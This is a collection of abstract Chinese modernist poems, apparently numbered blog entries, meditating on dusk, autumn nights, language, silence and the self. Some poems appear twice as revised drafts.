傍晚1220 《傍晚》 它像是自己的从没有的发生过一样。 它的没有发生过，一段长长走廊通过。 走向在可能性后面的它。它的现实里面 周围的树木，草丛，事物的周边是它。 为旋转不停而无人再去的空谷，便可于 知道上面的旋转。如同工作，在明天当它 事实上的因为人的劳作而成为了此。 以命运称呼，人的倦怠。今日永葆热情， 今日，一个充满了力气的人儿。那是同样 一个人的回忆。 夕阳1221 《夕阳》 我搜寻不到你，我的搜寻不到 沿着一条去搜寻于你，在那路上。 本应该的发生在于歧义，当清楚的 标志，路的边缘是一颗颗树木。 太阳在傍晚的金黄色照耀着，这本 不应该的发生。仿佛总是要在彼与此， 在于其中或许我们可以将自己 侥幸的心理再一次以放入而过去之 慰藉苟存，骄傲的方式。所以，我热衷 在听到了轻微的风为走路的哒哒声时。 不是与之所以否定，而由那人儿的误解 来一一承担。于是尽是夕阳落山之美。 同时的，是照耀，已因此得到了的一种 结果的我。如果我们是两种不同事物 正共鸣，发出了鸣响————对于那 同时由我而生出，从思维这罪孽的 因为贫乏，仿佛这是真实的一切。而 我的心怀不满，隐隐颤抖。我是那源泉 而被自我所遮盖的时候。 夕阳1222 《夕阳》 我搜寻不到你，我的搜寻不到 沿着一条去搜寻于你在那路上。 我的搜寻不到，我一直在这路上。 本应该的本应该的发生，发生 便在于了歧义的了。当清楚的 标志，路的边缘是一颗颗树木。 太阳在傍晚的金黄色照耀着，这本 不应该的发生。仿佛总是要在彼与此， 在于其中或许我们可以将自己 侥幸的心理再一次以放入而过去之 慰藉苟存，骄傲的方式。所以，我热衷 在听到了轻微的风为走路的哒哒声时。 不是与之所以否定，而由那人儿的误解 来一一承担。于是尽是夕阳落山之美。 同时的，是照耀，已因此得到了的一种 结果的我。如果我们是两种不同事物 正共鸣，发出了鸣响————对于那 同时由我而生出，从思维这罪孽的 因为贫乏，仿佛这是真实的一切。而 我的心怀不满，隐隐颤抖。我是那源泉 而被自我所遮盖的时候。 倪湛舸1223 《倪湛舸》 所关注者的被被关注者关注的视角， 在关注于他者之中的那深处的自我。 倪湛舸1224 《倪湛舸》 所关注者的被被关注者关注的视角， 在关注于他者之中的那深处的自我。 这自我（于是）便自我以自我的方式， 当从自我开始出发，寻求于一个观察 的对象之时。 拉着我的手1225 《拉着我的手》 位置，通过了升起来了的位置 位置通过位置上升，相对于 上升而言，才是位置。它固定 它的固定相对于不变而言， 它的固定不变把通过诉说而到来 者，当它们依然试图以言语，语言 的面貌。如果把这一种已经发生的 关系留给了我。没有我也不会感到 难过。那些语言的形状，需要我 来言语它们。表达之中的它们，像 一片片的蝴蝶，围绕着一个固定不变 的事物旋转，试图进入到它的内部。 围绕着事物的旋转的那作为已经布陈了的 作为内与外，仿佛世界容易破碎， 飞蛾扑火的言语，忘却了使命，忙于 修补上面的修补的徒劳。 夜晚1226 《夜晚》 虚假着的而因此停留于无 这些善于变化的句子如今， 简洁的一句如同干涸原野。 我们那要讨论的是否便还是呢， 有关良心和袒露。那么良心的袒露 在有关于什么之中，这紧接着的 世俗的提及，那旧日一般的压力 我麻木的心灵，随着这熟悉的问题。 如果前者，良心因此已逝，前者的 更早前——这是因为没有出来和表达 而话语因此的形成。我称之，神秘 便同样的称谓称谓了我。当我的自我 身处于那神秘的消逝之中。谈论着 它的固定和永恒时。对于这些周围的 景色的变化，阴影的幽暗，树木与池塘 纷纷坠入了夜色，我并非没有关注和 重视。并非，如同无一般的在那里。 我位于那里，某一个位置上面。 夜晚1227 《夜晚》 虚假着的而因此停留于无 这些善于变化的句子如今， 简洁的一句如同干涸原野。 我们那要讨论的是否便还是呢， 有关良心和袒露。那么良心的袒露 在有关于什么之中，这紧接着的 世俗的提及，那旧日一般的压力 我麻木的心灵，随着这熟悉的问题。 如果前者，良心因此已逝，前者的 更早前——这是因为没有说出来， 当表达于它:那言说对于此托举而起。 而话语因此的形成。我称之，神秘 便同样的称谓称谓了我。当我的自我 身处于那神秘的消逝之中。谈论着 它的固定和永恒时。对于这些周围的 景色的变化，阴影的幽暗，树木与池塘 纷纷坠入了夜色，我并非没有关注和 重视。并非，如同无一般的在那里。 我位于那里，某一个位置上面。 暮色1228 《暮色》 夕阳垂暮，垂在的这些完整而 可以称之为一的事物上面。 之上会更加的具体，而在于与其 的有所关系之中，那孤立的情形 不同于那对于夕阳垂暮进行的解释 仿佛整体由此而来，而原本它的就是 当以这种不同的方式，已经悄然改变 我们所做的缅怀，或者我可以通过 暮色而更多的观察与得出，作为一个 最终的后果和结果。对于这种矛盾与 冲突，我也仿佛是以无暇顾及而以此 而推脱和妥协的态度了。 大体如此1229 《大体如此》 所有生与死的漂亮对比的漂亮， 因为因为的是而所有的——— 还没有结束，尚未的城堡，以还没有 结束来对应着。当那一个开始始终 以有关于的的方式。即使远离是人类 推卸后给了嘴唇的故事。它丰富多彩。 与那真实有关的这一个过去的时候。 它以现在为表征，在现在隐藏的轻易 它有关着属于别的，别的事物 则因为可能而是一个错误的词。 夜晚1230 《夜晚》 从原来那地方，当随后的事情 悄无踪迹的方式使得它变得更加顽固。 像一种亟待书写的石灰岩而笔。 那丢失了的笔，那仿佛同样与此类似 是费解在于思索上的短暂的有关于此 如果那更为长久是丢失本身， 那笔因此在到来与离去的丢失之间 同样的意思甚至在同样的一句话语的 道白之中。令它在自己的身体，在唯一 物上面的，即使更深而比之于深刻而言 或者我们话语言说之时，言说它那言说 时的形状更早于言说开始的时刻。 夜晚的道路1231 《夜晚的道路》 我一无所获，便急匆匆回了来 那夜色同样因为漫长如同折返一般， 那些无凭无据的近似于老无所依的 折返在行动上面的回音。当它以 永存的意味。当属于别的的这 与结束有关的回音，当我以混杂着 错误的话语准备说出一劳永逸 或者那一劳永逸才在思想的书籍里面 投下了我曾经准备去翻阅之时的光泽。 它有时候被说成是思想的投影，有时候 路过了一群高低不平的树林，月亮在夜空 群星璀璨。作为一个等待着，在百无聊赖 的自画像的虚假之中，在里面我无法摆脱 而自身，仿佛才因此是了那更大的隐秘时候。 早晨的耕地1232 《早晨的耕地》 既是，就像它的就像。那是的 人们的言语在自我反驳之中， 却对于那些对于此试图反驳的 进行。像只有与反驳一起的而作为了 两种叠加中的事物。其中的那一个 是疑问。以疑问而结束，我们的回答 虚无般的美。田野之上的正在发生 代表了历史的宏图。我的永远不会而 因此在于看的看着以为看，当我回忆起来 从昨天，以一个对于此的思索形成了标志 我来到了这里，离开了那里。在二者的彼此 的不变之间，就像我从未曾离开过的意思 是离开，缅怀的虚无面对着那一定 有所存在的意思之时。在这个早晨的它， 这个因为它与周围事物，与拖拉机，被耕耘的 土地无关而无关的早晨，通过了刺眼太阳光 那早晨的地上的同样刺眼而代替了我所思的。 傍晚的歌1235 傍晚的歌 《傍晚的歌》 “你究竟有没有说过”——— 我因为时辰而纠结于此。 我知道的贫乏而在于贫乏 才知道于此。我知道，永恒和短暂。 永恒的时钟像墙壁上面的那一个， 用它的那敲打着这一个的铁制钟摆。 如此，当我们并不孤单，仿佛从彼此 之中有一种都不约而同有关于此的 失败，而场景因此是昏黄，模糊的。 我看不清，语言的作用放的更大了。 一棵枯藤树之后，随后在我的枯瘦般 抓住了你而虚无已经升腾起来，贴地的 雾气漂浮———你究竟有没有说过， 直指向那以做的理所应当而来，言说 恍惚如同一次短暂的成功。所有的事物 是所有的事物，始终存在一个因果而以 有的方式。始终以言说而言说因为此的本质 即使，同样也在于那沉默和停止的言说之中 在这样一个有关于停止和停止:戛然而止的 突然的时刻里面。那些我长久不可理解的 布景已更换，从我这不可理解而组成了那 我众多的不可理解而沦为背景，慢慢会随着 傍晚沉入夜色之虚无的事物。 戏都杭州1236 杭州是一座特殊的城市，它超越了诗意而到达了【戏】，是一座戏都。从西方哲学而言，它的可以解释展开来的高于哲学的部分，看起来就像西方哲学一样的晦涩，盘根错节。戏曲，由两部分组成:诗与思。 事物的秋夜1237 《事物的秋夜》 事物等待对于人类的等待 所形成的，话语昭示，前方的 路途存在并不沉默的真和伪。 当直到短暂作为了感激之中的 一种，而仅仅就它自身的丰富性。 更是因为超出，以人类的观察， 漫不经心与耐心和思索，伴随着 疲倦。对于这闪耀光辉的一瞬， 而我意识到了那不是弃之不顾， 或光明后黑暗再次铺天盖地的 来临。它以我的方式而存在 我，该是一个如何去禁止于自身 如同那有规律枯燥生活中的训诫 再一次的响了起来。庭院中和门外， 晴朗秋夜，以及稍早多云的下午 这些因而那些风雪大作在时间 迟滞以流逝里面，征兆着的有所遗漏。 作为遗留的方式，在表达之外， 同时于表达的这一种方式发生 只有那大自然所具有的伟力， 对于这种我的知之甚少，对于 它们展示我的贫乏———作为它的 一部分，而思维跳跃不定的位置 使得它自己在于此刻的固定不变 :就像这个安静的夜晚，终于从下午 而至。 夜晚的道路1238 《夜晚的道路》 我的想象因为发生而像士兵， 那么我便想象的给出了，当他的具体 沿着荒野与树林，永不停止的行走。 想象也会疲劳，它那永远昌盛的精力 热情模样，以言语来不断表达，表达的 不断，和一种诱惑于人随后的空无。 那到来的空无因此不会到来，因此它 并不存在的眼睛用尽了，夜晚人类的 全部的语言，而表达的仍旧持续就是 这个意思。它，始发站，从这里再一次的 出发，便怀揣着了结束的心愿。为 同一所着迷的人也为此困惑。所以， 永恒的寻找，便是围绕在，景色被黑夜 的模糊所遮盖掉一切却失败了的 企图里面，那是一些不必再提及的人 那是人与人因为提出问题的人与提及的人 在黑暗中隐身的差异而不同。那是声音里面 甚至因为危险与存在的另一个声音而彼此的 冲突和矛盾的缓和。我提出了一个问题， 问题切近于它自身。对于于事无补，对于 从虚无之夜行走如同士兵的人儿而言。 远古的缀语，就像历史以一个个因为被视之为 重要而曾经必要的它们而言时，那种沉默 在它的里面的增添。 夜晚的道路1239 夜晚的道路 《夜晚的道路》 我的想象因为发生而像士兵， 那么我便想象的给出了，当他的具体 沿着荒野与树林，永不停止的行走。 想象也会疲劳，它那永远昌盛的精力 热情模样，以言语来不断表达，表达的 不断，和一种诱惑于人随后的空无。 那到来的空无因此不会到来，因此它 并不存在的眼睛用尽了，夜晚人类的 全部的语言，而表达的仍旧持续就是 这个意思。它，始发站，从这里再一次的 出发，便怀揣着了结束的心愿。为 同一所着迷的人也为此困惑。所以， 永恒的寻找，便是围绕在，景色被黑夜 的模糊所遮盖掉一切却失败了的 企图里面，那是一些不必再提及的人 那是人与人因为提出问题的人与提及的人 在黑暗中隐身的差异而不同。那是声音里面 甚至因为危险与存在的另一个声音而彼此的 冲突和矛盾的缓和。我提出了一个问题， 问题切近于它自身。对于于事无补，对于 从虚无之夜行走如同士兵的人儿而言。 远古的缀语，就像历史以一个个因为被视之为 重要而曾经次要的它们使得我知道了 那是与过去有关的言说，那是士兵， 不可能完成的任务萦绕着它，而想象 就像一种推卸，它描述的过去已经因为 短暂一刹那的发生，之后茫茫的黑夜 处于了无意义之中。 秋夜1240 《秋夜》 由那和因此而成形的，像多了的少。 那多的误解在有关于一个事物的句子中。 便在事物的命运之中穿行，如给它挠痒。 情形与日子，两种或者与一种事物， 意味着它们从自己之中破解而以未来 的方式而没有了痛苦的刹那于一分为二的 这命运的一次次的不可更改。更改 它的余音，它的余韵，它过去的和对于 未来所造成如同尘埃飞起般的干扰。 这些事物，那些事物的不同便是了的， 在哪里呢？除非同一个再一次的 仿佛，降临于世。降临于自己的过去， 因而渐渐变得陈旧的那一个之上。 仿佛那些模样正闭着眼睛，微弱的呼吸， 正面朝上看什么熟悉的事物。看吧，熟悉的 正变得陌生，不是陌生起来，不是那因为 此而种种情形被一一带走了。那空也 带走了，那么剩下的东西便是，便是 我们无了着落的心灵吧。看吧，所以 还没有结束，这并不是借助于现在而 没有结束的看。我已经离开了那里，那 看的对象所不能够的，如同梦幻对于 它与我的彼此连接。 \/ 一种不可能，犹如一种物。 在它的内容具体的呈现之中， 那些看将会一无所获却习惯于此。 那些丰富性反而才在于此。 那是人类思维的边界般的东西， 那是由这些极其自然的提问所引起 并且掩埋，直到我们退缩回到了的 地方，在那建筑的牢固性所建立起来的 也可以以不断的追问来替换。如果 这已是已经发生的。为此，空洞弹奏 的声音，来自于琴弦，在弹奏的时刻 后便以离开了它的方式，向着 我这里而与它不同。坠入到了相同 这一命运之中是什么样子的情形 是否，我可以接着追问，脸颊贴近了 你的脸庞。我感受到了仿佛引人误解 的冰凉。让文字如临深渊的处境 被语言说了出来。而今，我抬头看一眼 窗外的，被天色短暂代表了的一切 看，这天色的看。而傍晚便会匆匆的 到来，语言之路上面空无一人， 秋风吹动着被人遗弃的报纸和塑料袋。 我独自一人，为你做出了回答的人是我。 包括了我，道路包括了我，秋风吹拂了 夜晚的叫做了我的这一个很晚还在赶路的人。 在人失去了力气，那些耗尽所努力投身的 事物已经因为没有到来而把结束和消失带来。 同样道理，在这一同一上面的幸福的这一个 神秘的称谓。它还没有响起，内心的响动由它 来簇拥，走在秋夜里面的另一个世界之中的人。 傍晚的农民1241 《傍晚的农民》 如果用词语来修饰与点缀， 再荒凉的土地也会通过了 它们的繁花而变得荒凉。 如同一个谜，那是， 月亮升起而更早之前的，它们 也升起，与月升连续为一。 如果用词语来点缀，再多， 和再少具有相同的的意思。 它贴着，以便从仿佛之中摆脱。 那抽身而去而使得存在于其中 仍旧可以让一切以提问和问题的 方式进行。我们面对着我们的 面对，一个重复加重了的产生 是傍晚我们听到，作为结果的 声音的清和脆。面对着这种一目了然 甚至有人以无可置疑的方式。被 面对着的人，在我们身后和灵魂 深处，不要说出那穷尽一生来追问的 形式。沉默的追问被摆在了傍晚， 自然的风景线上。忽而须弥没有回答， 消失不见。像农民，农具肩之所抗， 更多词语的不可承受而不可贴近的承受 而以休憩，休憩以为别的。以其他的方式 的这问题的内容，以我自身而言，我作为 一个无法做出回答的农民的时候。 自然1242 《自然》 诗歌常常加固了我们自身的自然 那些行为是自然， 天然之中我们所拥有的。如果 没有别的，我们也可以以这种方式来 反问，反证。而同时把更多的推论拒绝和 否定掉。 而静止的形象， 绝不仅仅是受到了频繁的袭扰 仿佛有另外的一个， 以人之名义，试图占有，毁坏掉 静止所富有的丰满。 如果我们可以越过他们， 在我们的耳边，山林和绿树， 清澈的溪流与梯田 而那些诗歌的急迫， 因此一定是出于最自然的爱意 正当它也在我们的心中丛生之时。 市集1243 《市集》 幻想我已在某个地方，它包括着此刻 如同不在的发生，那些连续不断来自于一种 被催生的因果，路过一个自然误解的明白无误 如果我从现实出发，抬起头，又将这看到了 如同云彩般朦胧的模糊身影的头颅低下来。 在市集，人群聚集。头颅抬起落下， 像更大更为复杂或者更为详细与纤细 而事物，保持不变的那一个我们所因为思索而 思索感到了疲倦之物。而不同于我的静止， 两种不同的静止像是被什么，作为分开之物的 后果。那么，我应该在一个亟待解决的问题之前 思虑的方式使得我，我也问自己，以问和以 试图离开的方式，对于成行的过分的热情并非 毫无道理的时候。而人们，仍旧将某一个问题 塑造成了通过我，我通过沉默而一个事物的 正面，反面，它甚至是多边形和拥有了很多面。 在自己中那词语不会与它有什么牵扯， 来自于言说只是因为同样身处虚妄中一般 而甚至于它就是了，装填人类祸源的容器。 仿佛仅仅因为事物之有，因而有因为那无 ————这个我参与市集的方式，我走下 倾斜坡道。我自己就是我抬头看到的那个 天空中的虚影而在于这突然间意识到时。 落霞1244 《落霞》 我要的已经变为了一个要求， 我已经不为那是一个将不变者的 身披。这语言，从隶属于我那里 并在回来的时分在唇边残留。 谁，通过那任谁的也不能够承受 当虚幻所代表是一声声声音在 破碎里面。像通过了它因此所作为 一个完整的意思，始终在于那 现实的困境之中，已经无需言语 来赘述的行走，赶路，路过了枯树林。 他的目光从那里回了来，并回想 他可以接着回想并分外感激 嶙峋的道路上一个灰暗的影子， 装满了那凝视的时刻的一个来源。 乌啼1245 《乌啼》 我通过无法来查看这结局，同样匆忙。 我的形象是事物在回声的一个那里面。 因为像而越来越像。是与宿命，命运 和人的脆弱。因为存在而为一起的。是为 为一所做的更为具体的。那“因而”因而 是否还有必要言说。但不能忍受夜的虚无的人。 是我。多余的人，在因而多余和虚无 的天平上面走钢丝的人。天平之夜 是这夜晚的称呼，传来了隐隐声音的夜晚 一个失去了观察者的度量的夜晚。 并不只有这一些，带给了一个人的， 称之为别样的感觉，当它从众多之中。 从，接着对白天和昨天，街市的感觉那里。 如果一种离开的本质，早就已经发生。 熙熙攘攘的被熙熙攘攘稀释掉了的。 穿过了集市，穿过了街巷的傍晚，来到了 夜晚穿了过去的那一种对于此的正准备 穿越，对于此进行塑造的人，对此正准备 投下了想象作为了最后之自身之物的他呵。 秋夜微凉，裹紧了我的心脏。 乌啼二1246 《乌啼二》 万物所遵循，所亲近，所依托。 不变的法则，颜色更深来构成。 是否它们的形象可以触及到那里， 像一双没有主人而遗迹一般手掌。 即使在这样被抬升并充满了赞誉， 以对此进行言说和调查的方式， 如果我们的遗忘它，已发生。最终 这被归类为一个历史问题。因此， 在历史性上的事物，无论它再怎么宏大 或微末。这才是它最合适的身份和位置。 最终有关于一个人或者物。诸相关的 它们所在时时刻刻里面而那时一切都以 一种崭新和具体的方式。手的抬起一般， 伸向相比我们所知而言的某个边界之外。 这是一种形式，它理应当向人们呈现。 这是它的空有形式的名字，那么直接。 这是一个称呼蕴含充满了试图去纠正 的念头，作为一个人在另一个人的逝去 之后。如果没有，这没有也被夜晚的黑色 遮盖掉了，在边界上面发生，坍塌从具体的 坍塌那里来到了人类的语言，形成了一道 对于坍塌不能再继续的防波堤，形成了一个 更为坚实的边界。言语像波浪一般，向前 被一次次的阻挡。那些美，一层层的。那些 因而是逝去之美为什么呢，正因为思虑， 这沉默之物的暂时性的迷蒙而我听到了 远处奏响的音乐。我以为盛宴在于那危险性 那不自知对于自知，始终都只是在我的身体 的脆弱上面，除了自始至终这种虚无之物， 再无其他。我带着这种没有门票出发， 一个荒野的秋天树林，为没有勇敢者之心的 人儿款款相送。款款相迎。这音乐的最初的 矛盾，矛盾的这一音乐的永恒的形式，与人 这一称之为生命而息息相关的二者，比如， 我谈到了消亡，当我刚刚所谈到的那一消失 掉了的一个。这不是我自私的只为了自己， 在这种私心里面的树木的投影，在我的内心 组成了的事物————这外界事物的月下 新的投影。 降落1247 《降落》 在幸事里面有喜事， 只要人放松人就什么都可以做。 比如，语言降下 从文字，直到想象般不需要再说些什么的短暂。 抛出谜团的人离去。 离去的人义无反顾。离去的分明是 一颗心。 语言是星星， 谁会在人的唇边。在枯燥的河岸，在北风 微弱隐约的声音里面 把故乡寻找呢。做梦的时候， 事物和它们的出处一一颠倒。 为了再次的做梦，就需要有回还。 总更多一些。回还甚至超出更多。 做梦变得越来越无端，这一行为 即使人们用了最为尖锐的矛 和最为极端奇怪的语言。以及 那个走到冬天结冰河岸边的人 还有那些持重，缓慢到仿佛停滞的诗言。 ————如果我是错误的，并不需要等到最终。 我也愿意倚靠着终点，像 背部是坚实的。 我的辩解，大地对于拟人的熟悉远比我们更多。 小广场1248 《小广场》 谈论丝毫没有那种，意识到了 仅仅是谈论就涉及到的危险性。 它已经走出去了很远，安全， 代表着迷途。对于大胆尝试的这样 一句口h式的话语。路过白墙的行人 那样敬重。就是这样，这是白墙上面的 文字，黑色的内容的深渊，行人行走 下一步，他抬头看到了不远处，依然 垂柳，石碾，小广场，宽阔被带来。 经历了它拟人般的时刻，那最初的时刻。 或者，他急需要的是如此的严苛， 一个事实上到来了的读者的没曾想到， 他坦诚的心灵因而经受着更多而称作 了考验。行人已从深渊般之处走出。 走出于停留而使得那行走是什么。 对于这从未曾改变，但不是来源于它， 那对于我话语的慰藉。自我慰藉的形式 通过这人类的话语的形式，走在白墙边 上的人类。是我，不能够再因为言说更多 的欲望而再发一言。我把它们写在了墙上 我把这与永恒矛盾所形成的类似于命运 与轮回的对立面，但只有一面墙，不远处 是垂柳，统称于树木，群体的名字在风的 光芒的异世界里面。 落霞二1249 《落霞二》 我要的已经变为了一个要求， 一个提出的要求，一个世界的 降落。那西海我如同白R一般的热爱它。 我追求的因此便是这热爱， 通过不需要追求来实现， 通过言说，这同样的不必， 曾经在无所事事和庸庸碌碌的 过去，过去的山巅始终在故乡的 那群山起伏之间，我守护一个音乐 与歌声的秘密。我被称作了风的 使者，而秋天使得它充满了爱意， 使得最后的蜜蜂和蝴蝶，最后的 心愿，从那纵身的一跃而向着了 我的徐徐下山这里。我，一个牧羊人 我，悲叹，牛羊正日渐稀少。我， 不断这重复乐音里面的人和物的 统称。代表着这最后处境只是， 只剩得了自己与自己。一切都被 这夕阳光照着，这明晰被太阳光照耀 的制造，而自我这早已经是一种结果 的事物，以人类的形式的这甚至走的 更远，变得神秘的旅途呵，平凡和庸俗 的旅途呵，寻找的旅途呵。我从山上 下来，我看到的夕光，停留在了山顶。 如果我的思索没有完成，一个梦因此 是需要的。 乌啼三1250 《乌啼三》 每当还没有发生，跟已经发生是同一个意思。 我对于此的言说，对于此我言说。给它 披上了一层薄薄的薄膜。无论忠实与否， 这与内心的息息相关，这与被叫做了一个事物， 而自我正是那一个无辜的肇事者。他将 它们以一切的武断来分离，他并不追求一个 一劳永逸式色调的因果。因此在一劳永逸的结果 里面那顽固的形和象，从此恒久的作为了 话语之所以对于我而言可以说出之物。 我已经形成了这种习惯，我总以为 在那验证为挣脱的本质，而正准备逃脱 向空气的事物们，一一的都还没有出发。 那以我知道而结束的事情，在自我的身体 和脑海里面搅动着一个人，身体到五脏六腑。 那瘦削的生命已经是再一次的走到了这里， 那沉默不语对于语言失效，我们突然的 因为一次新的开始的妄想而作为了群体和族群。 我热爱，一个微小的事物在一个秋雨的夜晚 所代表的问题。我从自我所不能摆脱而酸甜苦中 的那辣的偶然之间。我预留而不说出，表达而 并不能表达而表达。我走过已经熟悉到不能再 熟悉的地当，而猛然之间的陌生感是人类 最后的自留地。听听这些逃逸，变做了语言， 一连串通过为真而假设的还没有发生吧。那些 略过了我的事物，为自我在一个室内共享于 位置的固定不变。我也需要星斗，月亮，乌云 夜晚的阵雨是偶然的事情，为防止一个人的 纵身一跃，它在有必要里面陷入了并不自知的 语言的山峦，以秋雨于晴的形象，那不是秋雨， 那是将人类本质的暂时性的隐藏起来了。 池塘的管道1251 《池塘的管道》 在一切因为仅仅的一个， 而虚无的词语上面旋转。 作为一种静止，一个名词 它蛊惑人心却因为并不知晓 已经有了千年的时光。 像一条池塘里面的鱼儿， 有着在池塘水泥墙壁的深处， 一个连通着大海的管道。 通过了建设者，最初的人们 将未曾注意与遗忘呵，在劳累 的泥土满身，满脸之时悄然的发生。 是发生还是悄然，是从第三者 之作为物的因此自我拒持出发。 是回来的形象于返回这一词语最初 充满了歧义。总之，遗留的管道， 大海的庭院和池塘。大海这最大的 池塘。人类这池塘中的鱼儿想象， 寻找着月亮升起时并不存在的墙壁 和墙壁上莫须有的管道。创造词语的 人类一跃出水面注定就要在钻木取火 中事倍功半。被烧伤的手儿在沾着水的 冰敷里面更加的疼痛。深入摸到了自己 的池塘，我如何才能为这一称之为悲观 而作欢喜的解答。作为一个事实，如果 我终生蒙昧。蒙昧的具体，犹如下潜 趁着那趁着夜晚来到了陆地的海之池塘时。 时间之歌1252 《时间之歌》 只有在只有之中随着时间 而沦为了事实。我的倾听 来自于多余。只有悲观的 通过一个个事物，我才能听到了 在彼此关系之中风铃一般声音的 不断响动。为简单的想法而怪罪 于词语，我夺取了我再一次夺取的 事物而加固了我身体上面，需要 它模糊，游移不定的那一部分。 我是的了它的那游移不定，可以 使得我说出的总是关于命运， 我希望，因为毫无关系而征兆着 夜晚的灯火——如今是通过了失败的 时代而是电灯。和它的追忆着过去 而以冷漠的光。它向内的只要一向内部， 便一去不返到，于是我得出的在于了 我的抛弃。于是，那束光，只有它将我 包裹了，却突然包裹的更紧了，刚刚 我想要说的，想要吐露的便吐露了我。 便在话语的无力里面是世界而不是我。 我需要准备的是一个难以想象去告诉 而在告诉的不可能中，人类和我， 隐隐浮现。那时候，依然在夜晚，广阔 不需要言说，会碰见如同夜晚的橡树林 而造成了它们彼此融合的影子。在地面， 我行走，在空中我也可以通过嘴唇和鼻子 来呼吸。说出在像是偶然的掉落里面， 而有了说出之中的它自我的内容的色彩， 那不是黑的，则黑持之以恒于否定的事物 所体现的美。而美因此隐没，而发现因此 像桥梁的断裂。白天通行，商贩妇孺老幼。 夜晚天凉，我打了一个喷嚏，我在世界 这个词语和这个事实上面转身向下， 以转身这最后之方法而向下的一个人， 我提供出一个方法的时候，一个阻碍我的 解答，我想要提了出来，是否这是可能的呢。 傍晚的故乡1253 《傍晚的故乡》 美诞生的地方因为我 就像因为曲折和人们对于此 所进行，自然的质疑发生了。 美的又一笔，此种令它变得 更加具体的事物。 与自我的上一个相比，上一个 它停留于时间极为吝啬敲打中 指针的落下。与过去的种种相比， 因为已经说出的话语来自于语言的 国度，因为语言的的国度始终关怀于 现在的这一个时刻，而又隐去了 自我的身份。我不知道，我确实 通过了查看这个称之为我而人以 查看而来的不知道。我知道，无知 的堤岸，一面是我，我们，人类的思绪。 语言的世界的另外的一面，有时候 以突兀而显示了自己短暂之中的平常。 为了让那些话语可以继续，为了如此 因为一切已经变为了它们。———— 遗忘，那只是一场制造的副产品， 甚至只是不会被人类这一个整体捡起 而以单个的人而言的通过了割伤手掌 时候的流着鲜血的领悟。那个人，他 变得越来越坚决，他觉得有必要的事情 像一种薄膜，一种色彩覆盖在了坚决上面。 他穿过了时间从不倒退的法则而路过我 在我说出而以此如同风中的风铃声 他作为一个我永不可理解着，他与我 一同面对着这些傍晚极其平凡，可以通过了 语言而一一铺开，详细于之于叙述而到达者 们的静止不动时。 秋风里1254 《秋风里》 有一个否，存在。 像事物，由于事物那么众多 每一个便都不太真的像它， 都有那么一点点的相似性， 每一个事物都遇见了一个人。 \/ 时间如果不被行走所分割， 那么它就不会到达于它下一刻。 这在没有语言的时候发生， 这并不是正巧赶上了只属于 事物的世界，旷野为秋风所吹。 此刻，是上一刻。下一刻 因是上一刻而已经是了的 那人类，在自身的不适应之中 无处可藏被说出的人，是否就是 一个被夕阳光照耀着而无罪之人。 是否，因此需要一场虚假和杜撰， 因此需要别人以无意的方式， 将称之为戏曲般的曲目来说出。 一个人，跑到了另一边，他曾经 在这里以静止的方式为此做足了准备。 为这一些微末而为微不足道如果， 我们感觉到了意义像走下了， 一层层，潮湿的青苔石阶而需要说出。 我们感觉事物的静止和沉默， 反而并不在于突兀的时间之说， 以及那一些，对于它们来说，曾经 作为了我们脑海中，又因为现实的应景 而再一次被思虑的事物。 为自然的宏大而为回家之自然， 为现在只是平常的站立在不需要 言说的丘陵之上。我不为这一些， 我并不在这种为，本身因此的更为 具体之中仿佛看到了一个人 相比其他人和物而言的更加的痛苦。 房间1255 《房间》 脱去了衣服跳进了房间，池塘， 秋天里面分每一个形状都不可捉摸 停留在琢磨上面的人，用它们的头脑 来应对那同样不同而转折正因此 一点点充满的繁多。大地如房的说的建筑 去建筑跟离开了混凝土，竖立的墙壁构成 一个坚实的房间一样。把这所带来的 是相似性在相似中的的放入，其中有 我们忽略不计的，有别的，作为二者的 并不同一，也忽略不计。我们。通过此 以感觉的方式来推测某个外貌看起来 确定事物的人。 \/ 但是没想到的意外，使得在发生的 突然里面，那平常的却要耗费 或者准备耗费掉的，时光和精力 超出了我们的长久的准备。我们 感觉自己急匆匆的，走到了同一间 房子被塞满的尽头。我们回到 墙壁，回到了上一次用头撞墙时刻。 越来越清晰和明了。反过来， 从我们的悲伤的本质出发，从作为 一个新而实质上面旧事物。一次撞墙 没有声音，一个声音没有被撞进墙壁中。 未来，时间的各个度量于此的名称。 显示了自己是一把无形的尺子。 由过去与现在所组成的房间已作为了， 既定事实上的房间的另外的一个。 不是只要通过了门的愈加精巧，而 一切都会因为打开来了的期待而确实 会有所改变。因此人群，而不是一个人 一个人而不是它的孤独，一个门没有打开 一个忘记了带钥匙，显然被归为了谬论的话语 它还要持续多久，它持续到了我对于它的 描述，厌倦和疑问。或者那门打开了我， 打开了一个陈述没有另外的一个房间而 作为通过了陈述者而从房间抵达房间之自身者么？ 用头撞墙的人，用头作为钥匙的家伙， 用头发问的人。不能接受这现实的人。 \/ 房间里简陋，无太多家具，一个人 住在里面，躺在床上醒着，还没睡去。 水银1256 水银 《水银》 有人要打我， 可是要等一小会。 如果它没有实现或者未如约 而至，这也是同样需要被打的。 以我的语言的方式。 我的坚持，不在语言的工具的 方式化表达上面而在了。 也并不是不在它的下面。 我没有学过的，我无法去设想。 在施行之中跳舞而愤怒的人儿， 我始终没有离开那语言般关怀 七情六欲，和五颜六色的本质。 \/ 一切在那时悄然改变以误解的方式， 我要等一小会我的说出去的语言， 我说出了对于它的等待， 身处于一个称之为他人，矛盾之中 矛盾着，寒冷着。我想， 如果没有一个人，矛盾与寒冷所代表的 就是泾渭分明的理性的世界，就是美的 再也确定不疑了。 山色为月亮所倾泻而下，像极了水银。 河边1257 《河边》 从自己的身体上面，一个 女人的分裂而出。制止了 一个身体上分裂而出的女人。 通过孤独者虚假的言语， 始终围绕那不变的沉默。 我不知道，不知道的有些彻底。 我穿着以刚刚穿上了另外的一件， 而称之为了的“新”，使得它面对着 新的这一自我的名字。这不是我的 言语，却使得我以语言的方式， 以沉默的内容来具体。事实上的 将表达和言说都一一避开了。 虚无中的生命的体验，在于体验的 短暂的痛苦后的更为的漫长，是 不可想象的。这是我离开了短暂时 所说的话语。巧取与豪夺，解决了 一个略显可悲之人的完整的一生。 有时突然作为一个四字成语，包括了 它的单一性，它对于自身试图所说的 必要性的沉默，并不存在一种新的虚无 不存在的侥幸，心灵上的侥幸在现实中存在。 XZ的山1258 《xZ的山》 并不是的是，也是一种否定， 一种矛盾，无法去否认， 一个与之相反的正作为事物 在山坡的向阳的另外一面， 栖身，寒冷的影子里面。 这些一想，偏头痛般通过了 思的这个望而却步。 而这思的本质确实通过这思， 我想要做的事情，从一开始， 从最初就是的全部而来。 我组成了它作为一个具体， 我的感觉却依然无处排忧。 